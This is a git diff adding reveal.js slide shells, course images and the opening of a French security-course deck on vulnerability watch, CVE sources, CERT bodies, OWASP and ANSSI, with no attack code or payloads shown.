diff --git a/content/slides/1337/anticiper.html b/content/slides/1337/anticiper.html
new file mode 100644
index 0000000000000000000000000000000000000000..a8f8c57d8eb18644302de188aa17eca8b4472153
--- /dev/null
+++ b/content/slides/1337/anticiper.html
@@ -0,0 +1,70 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>anticiper</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/anticiper.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>
diff --git a/content/slides/1337/csrf.html b/content/slides/1337/csrf.html
new file mode 100644
index 0000000000000000000000000000000000000000..0e2c1af70051edcdab4e06ba58cb51d87c7da2b4
--- /dev/null
+++ b/content/slides/1337/csrf.html
@@ -0,0 +1,70 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>CSRF</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/csrf.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>
diff --git a/content/slides/1337/drupalgeddon.html b/content/slides/1337/drupalgeddon.html
new file mode 100644
index 0000000000000000000000000000000000000000..b34d670c5383f67760fd20f393c5aaf94935b7fd
--- /dev/null
+++ b/content/slides/1337/drupalgeddon.html
@@ -0,0 +1,70 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>Drupalgeddon</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/drupalgeddon.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>
diff --git a/content/slides/1337/images/anticiper/Bruce-Schneier-Quotes-1.jpg b/content/slides/1337/images/anticiper/Bruce-Schneier-Quotes-1.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..d49e9fb745f2ace5848dccd4ea2e0b13f29d54d3
Binary files /dev/null and b/content/slides/1337/images/anticiper/Bruce-Schneier-Quotes-1.jpg differ
diff --git a/content/slides/1337/images/anticiper/Bruce-Schneier-Quotes-5.jpg b/content/slides/1337/images/anticiper/Bruce-Schneier-Quotes-5.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..b3e19cab0ee913c1a5e22ec9e075eebbf4d7ffc5
Binary files /dev/null and b/content/slides/1337/images/anticiper/Bruce-Schneier-Quotes-5.jpg differ
diff --git a/content/slides/1337/images/anticiper/Flagship_banner.jpg b/content/slides/1337/images/anticiper/Flagship_banner.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..320b6a1b8a0025b345da99918b8f09e441652d3d
Binary files /dev/null and b/content/slides/1337/images/anticiper/Flagship_banner.jpg differ
diff --git a/content/slides/1337/images/anticiper/Incubator_banner.jpg b/content/slides/1337/images/anticiper/Incubator_banner.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..ed818e7cd6c833a59f3c611f031c8b7b6b46f6bc
Binary files /dev/null and b/content/slides/1337/images/anticiper/Incubator_banner.jpg differ
diff --git a/content/slides/1337/images/anticiper/Lab_banner.jpg b/content/slides/1337/images/anticiper/Lab_banner.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..ef97ebc6f72c24254fa3cffd1e4505403990a18f
Binary files /dev/null and b/content/slides/1337/images/anticiper/Lab_banner.jpg differ
diff --git a/content/slides/1337/images/anticiper/Low_activity.jpg b/content/slides/1337/images/anticiper/Low_activity.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..ca771b9b8d3e85133eb0c37fc8a4d2c494f3cb84
Binary files /dev/null and b/content/slides/1337/images/anticiper/Low_activity.jpg differ
diff --git a/content/slides/1337/images/anticiper/bepositive.jpg b/content/slides/1337/images/anticiper/bepositive.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..58c1439ea4e6c0fab4d576a1bbc3b0ec08440a59
Binary files /dev/null and b/content/slides/1337/images/anticiper/bepositive.jpg differ
diff --git a/content/slides/1337/images/anticiper/ispconfig.jpg b/content/slides/1337/images/anticiper/ispconfig.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..21c89d7a53ca1b4dec3c8f83d4f2bb1fe7ebef28
Binary files /dev/null and b/content/slides/1337/images/anticiper/ispconfig.jpg differ
diff --git a/content/slides/1337/images/anticiper/phpmyadmin-vuln.png b/content/slides/1337/images/anticiper/phpmyadmin-vuln.png
new file mode 100644
index 0000000000000000000000000000000000000000..68fe4864106ca2252f8713b18ee47c917f7a4c9a
Binary files /dev/null and b/content/slides/1337/images/anticiper/phpmyadmin-vuln.png differ
diff --git a/content/slides/1337/images/anticiper/yoda.gif b/content/slides/1337/images/anticiper/yoda.gif
new file mode 100644
index 0000000000000000000000000000000000000000..f6c12c5abe7bc8ae0c549b2fb5004e1003f1d6ad
Binary files /dev/null and b/content/slides/1337/images/anticiper/yoda.gif differ
diff --git a/content/slides/1337/images/csrf/csrf-stp.png b/content/slides/1337/images/csrf/csrf-stp.png
new file mode 100644
index 0000000000000000000000000000000000000000..a4cd4c7f464bd954281632cc04de2813ed3ae086
Binary files /dev/null and b/content/slides/1337/images/csrf/csrf-stp.png differ
diff --git a/content/slides/1337/images/csrf/csrf.png b/content/slides/1337/images/csrf/csrf.png
new file mode 100644
index 0000000000000000000000000000000000000000..ad51e0512d710923bdfe744d1027698516939908
Binary files /dev/null and b/content/slides/1337/images/csrf/csrf.png differ
diff --git a/content/slides/1337/images/drupalgeddon/Google-fu-chuck-norris.jpg b/content/slides/1337/images/drupalgeddon/Google-fu-chuck-norris.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..5be8d496af3f188fd2fe8ed818dc776245a5d641
Binary files /dev/null and b/content/slides/1337/images/drupalgeddon/Google-fu-chuck-norris.jpg differ
diff --git a/content/slides/1337/images/drupalgeddon/down_the_rabbit_hole.jpg b/content/slides/1337/images/drupalgeddon/down_the_rabbit_hole.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..95a93393d30b12f661ba90a21d5fbcea16dc26b1
Binary files /dev/null and b/content/slides/1337/images/drupalgeddon/down_the_rabbit_hole.jpg differ
diff --git a/content/slides/1337/images/drupalgeddon/drupalgeddon.jpg b/content/slides/1337/images/drupalgeddon/drupalgeddon.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..9791aca44c02e150c6697a6ab53d5c45bcef1b38
Binary files /dev/null and b/content/slides/1337/images/drupalgeddon/drupalgeddon.jpg differ
diff --git a/content/slides/1337/images/drupalgeddon/viagra.jpg b/content/slides/1337/images/drupalgeddon/viagra.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..e21e0b679343febfe046c2f5b3ecf354a21e8b34
Binary files /dev/null and b/content/slides/1337/images/drupalgeddon/viagra.jpg differ
diff --git a/content/slides/1337/images/drupalgeddon/woot.gif b/content/slides/1337/images/drupalgeddon/woot.gif
new file mode 100644
index 0000000000000000000000000000000000000000..1dce2fddfd210e72b3b1b2fe70999597861fa595
Binary files /dev/null and b/content/slides/1337/images/drupalgeddon/woot.gif differ
diff --git a/content/slides/1337/images/drupalgeddon/yes.jpg b/content/slides/1337/images/drupalgeddon/yes.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..c171348101cd3ee92cde2f7d3704e02e3bf232d9
Binary files /dev/null and b/content/slides/1337/images/drupalgeddon/yes.jpg differ
diff --git a/content/slides/1337/images/sqli/sqlinjection_comics.png b/content/slides/1337/images/sqli/sqlinjection_comics.png
new file mode 100644
index 0000000000000000000000000000000000000000..530ddc0473ec44d032181c4b8b13a93caa738c6d
Binary files /dev/null and b/content/slides/1337/images/sqli/sqlinjection_comics.png differ
diff --git a/content/slides/1337/images/sqli/sqlmap.png b/content/slides/1337/images/sqli/sqlmap.png
new file mode 100644
index 0000000000000000000000000000000000000000..ecca7f9cfdffd88357ac615fc501add4e24baa77
Binary files /dev/null and b/content/slides/1337/images/sqli/sqlmap.png differ
diff --git a/content/slides/1337/images/top10/Relative_Portions_of_Each_Attack_Type.png b/content/slides/1337/images/top10/Relative_Portions_of_Each_Attack_Type.png
new file mode 100644
index 0000000000000000000000000000000000000000..e24687dfa0a304183036b9ee4e87755b75fa9ae2
Binary files /dev/null and b/content/slides/1337/images/top10/Relative_Portions_of_Each_Attack_Type.png differ
diff --git a/content/slides/1337/images/xss/XSS-alice1.png b/content/slides/1337/images/xss/XSS-alice1.png
new file mode 100644
index 0000000000000000000000000000000000000000..0762d42ec2dcb7ef9dc9528ff3b80f8a29a2c9e6
Binary files /dev/null and b/content/slides/1337/images/xss/XSS-alice1.png differ
diff --git a/content/slides/1337/images/xss/XSS-alice2.png b/content/slides/1337/images/xss/XSS-alice2.png
new file mode 100644
index 0000000000000000000000000000000000000000..71dd025d3d98710ad1091346084db298c5253d6c
Binary files /dev/null and b/content/slides/1337/images/xss/XSS-alice2.png differ
diff --git a/content/slides/1337/images/xss/XSS-bob.png b/content/slides/1337/images/xss/XSS-bob.png
new file mode 100644
index 0000000000000000000000000000000000000000..e7939f23ff80df01686bad315548b426530ee9ad
Binary files /dev/null and b/content/slides/1337/images/xss/XSS-bob.png differ
diff --git a/content/slides/1337/images/xss/XSS-fleche.png b/content/slides/1337/images/xss/XSS-fleche.png
new file mode 100644
index 0000000000000000000000000000000000000000..626241c40a8491ac2b54430931042158c6aeeab0
Binary files /dev/null and b/content/slides/1337/images/xss/XSS-fleche.png differ
diff --git a/content/slides/1337/images/xss/XSS-infos.gif b/content/slides/1337/images/xss/XSS-infos.gif
new file mode 100644
index 0000000000000000000000000000000000000000..03a6428ff5aca4a908a7d29b4d16c2eb7a53efad
Binary files /dev/null and b/content/slides/1337/images/xss/XSS-infos.gif differ
diff --git a/content/slides/1337/images/xss/XSS-scripts.png b/content/slides/1337/images/xss/XSS-scripts.png
new file mode 100644
index 0000000000000000000000000000000000000000..c6c6e4cc66c6078686c831a8e7943ef50397eb5f
Binary files /dev/null and b/content/slides/1337/images/xss/XSS-scripts.png differ
diff --git a/content/slides/1337/images/xss/XSS-serveurpirate.png b/content/slides/1337/images/xss/XSS-serveurpirate.png
new file mode 100644
index 0000000000000000000000000000000000000000..974ecd4b574f76e4196fcf36c21eec80954eb2dc
Binary files /dev/null and b/content/slides/1337/images/xss/XSS-serveurpirate.png differ
diff --git a/content/slides/1337/images/xss/XSS-serveurvictime.png b/content/slides/1337/images/xss/XSS-serveurvictime.png
new file mode 100644
index 0000000000000000000000000000000000000000..6149084e8b08c53c93c164f88aaece6774280513
Binary files /dev/null and b/content/slides/1337/images/xss/XSS-serveurvictime.png differ
diff --git a/content/slides/1337/images/xss/XSS-site.png b/content/slides/1337/images/xss/XSS-site.png
new file mode 100644
index 0000000000000000000000000000000000000000..b65fb55a0a8b5f24fc5a73acfa573acef6ea1e55
Binary files /dev/null and b/content/slides/1337/images/xss/XSS-site.png differ
diff --git a/content/slides/1337/images/xss/XSS-sitefaille.png b/content/slides/1337/images/xss/XSS-sitefaille.png
new file mode 100644
index 0000000000000000000000000000000000000000..1e861f91fa5f3f6eda237095a33ac9b9088eeb95
Binary files /dev/null and b/content/slides/1337/images/xss/XSS-sitefaille.png differ
diff --git a/content/slides/1337/images/xss/XSS-sitepiege.png b/content/slides/1337/images/xss/XSS-sitepiege.png
new file mode 100644
index 0000000000000000000000000000000000000000..fb42dbd1d759d700d00581e2100942050f05982e
Binary files /dev/null and b/content/slides/1337/images/xss/XSS-sitepiege.png differ
diff --git a/content/slides/1337/images/xss/XSS.png b/content/slides/1337/images/xss/XSS.png
new file mode 100644
index 0000000000000000000000000000000000000000..eee8ceee9cb2d7b4a5625bd7d40fca3685468242
Binary files /dev/null and b/content/slides/1337/images/xss/XSS.png differ
diff --git a/content/slides/1337/images/xss/beef-webcam.jpg b/content/slides/1337/images/xss/beef-webcam.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..06272f2d6603b0db32ee07cadba36f8a3bf6afcc
Binary files /dev/null and b/content/slides/1337/images/xss/beef-webcam.jpg differ
diff --git a/content/slides/1337/images/xss/csp.png b/content/slides/1337/images/xss/csp.png
new file mode 100644
index 0000000000000000000000000000000000000000..7bfac0ce5b67dc295b4794ff19f270653d4dbf59
Binary files /dev/null and b/content/slides/1337/images/xss/csp.png differ
diff --git a/content/slides/1337/images/xss/inspector.png b/content/slides/1337/images/xss/inspector.png
new file mode 100644
index 0000000000000000000000000000000000000000..6cf8e8c0158b4c2e236e710cc9a7246edf27f428
Binary files /dev/null and b/content/slides/1337/images/xss/inspector.png differ
diff --git a/content/slides/1337/images/xss/sop.png b/content/slides/1337/images/xss/sop.png
new file mode 100644
index 0000000000000000000000000000000000000000..94ff160615c810c92530dc26af33e7b22dda6104
Binary files /dev/null and b/content/slides/1337/images/xss/sop.png differ
diff --git a/content/slides/1337/js.html b/content/slides/1337/js.html
new file mode 100644
index 0000000000000000000000000000000000000000..c747cb5be2733541adfc63310815ca0527059bf1
--- /dev/null
+++ b/content/slides/1337/js.html
@@ -0,0 +1,70 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>JS</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/js.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>
diff --git a/content/slides/1337/md/anticiper.md b/content/slides/1337/md/anticiper.md
new file mode 100644
index 0000000000000000000000000000000000000000..2c907b155bcf40331680a5411d9855a355c5319e
--- /dev/null
+++ b/content/slides/1337/md/anticiper.md
@@ -0,0 +1,509 @@
+# Anticiper
+
+## aka le métier qui rentre ...
+
+
+## Trouver des mentors
+
+![Bruce Schneier quote](images/anticiper/Bruce-Schneier-Quotes-1.jpg "Bruce Schneier quote")
+
+
+## Trouver des mentors
+
+![Bruce Schneier quote](images/anticiper/Bruce-Schneier-Quotes-5.jpg "Bruce Schneier quote")
+
+<i class="fa fa-quote-left"></i> la sécurité n'est pas un produit c'est un process <i class="fa fa-quote-right"></i> _Bruce Schneier_
+
+
+## Organiser sa veille
+
+* [CVE (Common Vulnerabilities and Exposures)](http://cve.mitre.org/index.html)
+  * MITRE est une société qui
+    * a lancé le projet CVE ("Common Vulnerabilities and Exposures")
+      * facilite l'échange d'information de sécurité
+    * maintient les ID de vulnérabilité
+* [CVE Details](https://www.cvedetails.com/)
+  * custom RSS
+
+
+## phpMyAdmin
+
+![phpMyAdmin](images/anticiper/phpmyadmin-vuln.png "phpMyAdmin")<!-- .element width="90%" -->
+
+Note:
+- bien percé
+  - Ne pas trop exposer
+    - bien pratique
+      - Utiliser un client lourd
+        - MySQL Workbench
+
+
+## Organiser sa veille
+
+  * [National Vulnerability Database - US](https://nvd.nist.gov/)
+  * [CERT EU](https://cert.europa.eu/cert/filteredition/en/CERT-LatestNews.html)  
+  * [CERT FR](http://www.cert.ssi.gouv.fr/cert-fr/certfr.html) - [archive 2015](http://www.cert.ssi.gouv.fr/site/2015index.html)
+  * [CERT RENATER](https://services.renater.fr/ssi/cert/index) - [sécurité](https://services.renater.fr/ssi/securite/index)
+  * et d'autres [CSIRT](http://www.cert.ssi.gouv.fr/cert-fr/cert.html)
+
+
+## Organiser sa veille
+
+* Sources reconnues
+  * [Bugtraq - Security Focus](http://www.securityfocus.com/bid)
+  * [Open Source Software Security Wiki](http://oss-security.openwall.org/wiki/)
+    * [<i class="fa fa-envelope"></i> Mailing list](http://oss-security.openwall.org/wiki/mailing-lists/oss-security)
+    * [<i class="fa fa-twitter"></i> openwall](https://twitter.com/openwall)
+  * [SecLists.Org Security Mailing List Archive](http://seclists.org/)
+
+
+## Organiser sa veille
+
+* Sources alternatives
+  * [Exploit Databse](https://www.exploit-db.com)
+  * [Shodan - Popular Searches](https://www.shodan.io/explore/popular)
+  * [Shodan - Recently Shared](https://www.shodan.io/explore/recent)
+
+* Sources spécialisés
+  * [WPScan Vulnerability Database](https://wpvulndb.com/)
+  * [drupalexploit.com](http://www.drupalexploit.com/)
+
+
+## Organiser sa veille
+
+* <i class="fa fa-twitter"></i> twitter
+  * [<i class="fa fa-list-alt"></i> ma liste ssi-infosec-hack](https://twitter.com/mazenovi/lists/ssi-infosec-hack)
+* <i class="fa fa-wordpress"></i> blog
+  * en anglais
+    * https://googleonlinesecurity.blogspot.fr/
+    * https://www.schneier.com/
+    * https://nakedsecurity.sophos.com/
+
+Note:
+- parler de netvibes et yahoo pipes (qui ets mort)
+  - considérer les solutions hébergées
+
+
+## Organiser sa veille
+
+* <i class="fa fa-wordpress"></i> blog
+  * en français
+    * http://www.bortzmeyer.org/
+    * https://reflets.info/    
+    * http://zythom.blogspot.fr/
+    * http://www.nolimitsecu.fr
+    * http://news0ft.blogspot.fr
+
+
+## Organiser sa veille
+
+* autre ...
+  * en français
+    * http://www.security-feeds.com/
+    * http://vigilance.fr/
+    * http://www.datasecuritybreach.fr/
+    * http://www.zataz.com/
+    * http://www.globalsecuritymag.fr/
+    * http://assiste.com/
+
+
+## OWASP
+
+* depuis janvier 2001
+* fondation Américaine
+    * [à but non lucratif](http://en.wikipedia.org/wiki/501%28c%29_organization#501.28c.29.283.29)
+* en France
+    * Association loi 1901
+    * participe au [clusif - Club de la Sécurité de l’Information Français](http://www.clusif.asso.fr/)
+    * Ludovic Petit & [Sebastien Gioria ](https://twitter.com/spoint)
+      * [L'OWASP, l'univers, et le reste](https://air.mozilla.org/talks-owasp-afup-firefoxos-security-mozilla-firefoxos-what-is-owasp-by-sebastien-gioria/)
+
+
+## OWASP - Indépendance
+
+* composé d'expert indépendants
+* indépendant des fournisseurs de solution
+* indépendant des gouvernements
+* Les projets sont opensource
+* nombreux adhérents
+  * entreprises
+  * institutions
+  * [individus](https://docs.google.com/spreadsheets/d/1FQEj2xQb1uTxZMXshPs0suy1Bkb5iYCbHH_vrzHMVa4/edit)
+  * [join now](http://myowasp.force.com/memberappregion): <strike>adhésion gratuite</strike> donation obligatoire 50$ minimum
+
+Note:
+- le marché de la sécurité est blindé de commericaux
+  - et de conflit d'intérêt
+
+
+## OWASP - Projets
+
+!["OWASP Flagship mature project"](images/anticiper/Flagship_banner.jpg "OWASP Flagship mature project")<!-- .element width="70%"-->
+!["OWASP Lab medium level project"](images/anticiper/Lab_banner.jpg "OWASP Lab medium level project")<!-- .element width="70%"-->
+!["OWASP Low activity project"](images/anticiper/Low_activity.jpg "OWASP Low activity project")<!-- .element width="70%"-->
+!["OWASP Incubator new projects"](images/anticiper/Incubator_banner.jpg "OWASP Incubator new projects")<!-- .element width="70%"-->
+
+
+## [Owasp projects](https://www.owasp.org/index.php/Category:OWASP_Project#tab=Project_Inventory)
+
+* [OWASP Top Ten project](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project)
+* [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project)
+* [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)
+* [OWASP Code Review Guide](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project)
+* [OWASP Developer Guide](https://www.owasp.org/index.php/OWASP_Guide_Project)
+
+
+## [Owasp projects](https://www.owasp.org/index.php/Category:OWASP_Project#tab=Project_Inventory)
+
+* [OWASP Enterprise Security API](https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API)
+* [OWASP Application Security Desk Reference](https://www.owasp.org/index.php/Category:OWASP_ASDR_Project)
+* [OWASP Cheat Sheets](https://www.owasp.org/index.php/Cheat_Sheets)
+* [OWASP Application Security Verification Standard (ASVS)](http://www.owasp.org/index.php/ASVS)
+* [OWASP Legal Project](http://www.owasp.org/index.php/Category:OWASP_Legal_Project)
+* [and more ...](https://www.owasp.org/index.php/Category:OWASP_Project#tab=Project_Inventory)
+
+
+## [ANSSI](href="http://www.ssi.gouv.fr)
+
+* organisme de
+  * [formation](http://www.ssi.gouv.fr/fr/anssi/formations/)
+    * sensibilisation / recommandation
+      * [guide d'hygiène informatique](http://www.ssi.gouv.fr/IMG/pdf/guide_hygiene_informatique_anssi.pdf)
+      * [Objectifs de sécurité (dans le cadre du plan vigipirate)](http://www.ssi.gouv.fr/fr/defense-des-si/les-plans-gouvernementaux/) et au niveau [OIV](http://www.ssi.gouv.fr/actualite/lanssi-sattele-aux-decrets-dapplication-de-la-lpm-portant-sur-la-protection-des-operateurs-dimportance-vitale/)
+      * [cybersécurité des système industriels](http://www.ssi.gouv.fr/fr/guides-et-bonnes-pratiques/recommandations-et-guides/securite-des-systemes-industriels/la-cybersecurite-des-systemes-industriels.html)
+      * [Sécuriser un site web](http://www.ssi.gouv.fr/guide/recommandations-pour-la-securisation-des-sites-web/)
+      * [Protéger son site Internet des cyberattaques](http://www.ssi.gouv.fr/actualite/proteger-son-site-internet-des-cyberattaques/)
+
+
+## [ANSSI](href="http://www.ssi.gouv.fr)
+
+* certfication
+  * [de produits de sécurité](http://www.ssi.gouv.fr/fr/produits-et-prestataires/produits-certifies-cc/)
+  * [de prestataires de services de confiance](http://www.ssi.gouv.fr/fr/produits-et-prestataires/prestataires-de-services-de-confiance-qualifies/)
+* d'intervention / investigation
+
+[<i class="fa fa-book"></i> La Stratégie nationale pour la sécurité du numérique : une réponse aux nouveaux enjeux des usages numériques](http://www.ssi.gouv.fr/actualite/la-strategie-nationale-pour-la-securite-du-numerique-une-reponse-aux-nouveaux-enjeux-des-usages-numeriques/)
+
+Note:
+- de la com pourrie aussi [HACK ACADEMY : DE DRÔLES DE HACKERS AU SERVICE DE LA PRÉVENTION](http://www.ssi.gouv.fr/actualite/hack-academy-de-droles-de-hackers-au-service-de-la-prevention/)
+
+
+## Autres entités SSI françaises
